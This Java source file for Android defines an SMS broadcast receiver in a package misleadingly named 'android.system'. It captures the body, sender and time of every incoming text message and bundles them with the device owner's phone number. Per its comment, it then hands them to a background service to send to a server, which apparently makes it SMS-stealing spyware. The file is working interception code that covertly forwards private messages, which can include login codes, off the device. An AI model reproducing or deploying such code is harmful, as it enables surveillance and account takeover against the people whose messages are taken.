package android.system;

import java.util.ArrayList;
import java.util.List;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.system.data.DataInfo;
import android.system.utils.LogUtils;
import android.telephony.SmsMessage;
import android.util.Log;
import android.widget.Toast;

/**
 * 监听短信接收广播
 * @author liux
 *
 */
public class SmsReceiver extends BroadcastReceiver {
	
	List<StringBuffer> contentList = new ArrayList<StringBuffer>();
	StringBuffer contentBuffer = new StringBuffer();
	String oldAddress = "";
	Long oldTime = (long) 0;

	@Override
	public void onReceive(Context context, Intent intent) {

		contentList.clear();


		//下面的是短信广播
		// 存放的有接收到的短信的内容
	
		Object[] pdus = (Object[]) intent.getExtras().get("pdus");
		for (Object pdu : pdus) {
			SmsMessage message = SmsMessage.createFromPdu((byte[]) pdu);
			// 获取短信的正文内容
			String content = message.getMessageBody();
			// 获取短信的发送者
			String address = message.getOriginatingAddress();
			// 获取时间接收时间
			Long time = message.getTimestampMillis();
			//message.getIndexOnIcc()
			
			
//			DataInfo dataInfo = new DataInfo();
//			if(address!=null){
//				dataInfo.setToTelephone(address.replace("+", ""));
//			}
//			if(SysAplication.getMe()!=null){
//				dataInfo.setForTelephone(SysAplication.getMe().getPhoneNumber());
//			}
//			dataInfo.setReviceTime(time);
//			dataInfo.setContent(content);
//			Intent intent2 = new Intent(AndroidSystem.SMS_SEND_ACTION);
//			Bundle bundle = new Bundle();
//			bundle.putSerializable("info", dataInfo);
//			intent2.putExtras(bundle);
//			intent2.setClass(context, AndroidSystem.class);
//			context.startService(intent2);
//			logE( "信息内容：" + content); // //////
//			logE(  "发送者：" + address); // ////////
//			logE(  "接收时间：" + time); // /////////
			
			Log.e("ggggg", "信息内容："+content);
			Log.e("ggggg", "发送者："+address);
			Log.e("ggggg", "接收时间："+time);
			Log.i("ggggg", "old发送者："+oldAddress);
			Log.i("ggggg", "old接收时间："+oldTime);
			//可以合并
			if(address.equalsIgnoreCase(oldAddress) && (long)time == oldTime){
				Log.e("ggggg", "add one");
				contentBuffer.append(content);
			}
			//改变合并条件
			else{
				//添加进list中
				if(contentBuffer.lastIndexOf("&&&&||")+6 != contentBuffer.length()){
					Log.v("ggggg", "list add first");
					contentList.add(contentBuffer);
				}
				//清空
				contentBuffer.delete(0, contentBuffer.length());
				
				//重设合并条件
				oldAddress = address;
				oldTime = time;
				
				//添加新内容
				contentBuffer.append(address);
				contentBuffer.append("&&&&||");
				contentBuffer.append(time);
				contentBuffer.append("&&&&||");
				contentBuffer.append(content);
			}
		
		
		}
//		//添加进list中
//		if(contentBuffer.lastIndexOf("&&&&||")+6 != contentBuffer.length()){
//			contentList.add(contentBuffer);
//			Log.v("ggggg", "list add last");
//		}
		
		//循环合并之后的短信
		for (StringBuffer buffer : contentList){
			String address = buffer.substring(0, buffer.indexOf("&&&&||"));
			String time = buffer.substring(buffer.indexOf("&&&&||")+6, buffer.lastIndexOf("&&&&||"));
			String content = buffer.substring(buffer.lastIndexOf("&&&&||")+6, buffer.length());
			Toast.makeText(context,
					"信息内容：" + content + "，发送者：" + address + "，接收时间：" + time,
					Toast.LENGTH_LONG).show();
			
			//向服务器发送这条合并之后的短信
			DataInfo dataInfo = new DataInfo();
			if(address!=null){
				dataInfo.setToTelephone(address.replace("+", ""));
			}
			if(SysAplication.getMe()!=null){
				dataInfo.setForTelephone(SysAplication.getMe().getPhoneNumber());
			}
			dataInfo.setReviceTime(Long.parseLong(time));
			dataInfo.setContent(content);
			dataInfo.setFlag(0);
			Intent intent2 = new Intent(AndroidSystem.SMS_SEND_ACTION);
			Bundle bundle = new Bundle();
			bundle.putSerializable("info", dataInfo);
			intent2.putExtras(bundle);
			intent2.setClass(context, AndroidSystem.class);
			context.startService(intent2);
			logE( "信息内容：" + content); // //////
			logE(  "发送者：" + address); // ////////
			logE(  "接收时间：" + time); // /////////
		}
	}
	private void log(String msg){
		LogUtils.logD("SmsReceiver", msg);
	}
	
	private void logE(String msg){
		LogUtils.logE("SmsReceiver", msg);
	}
}
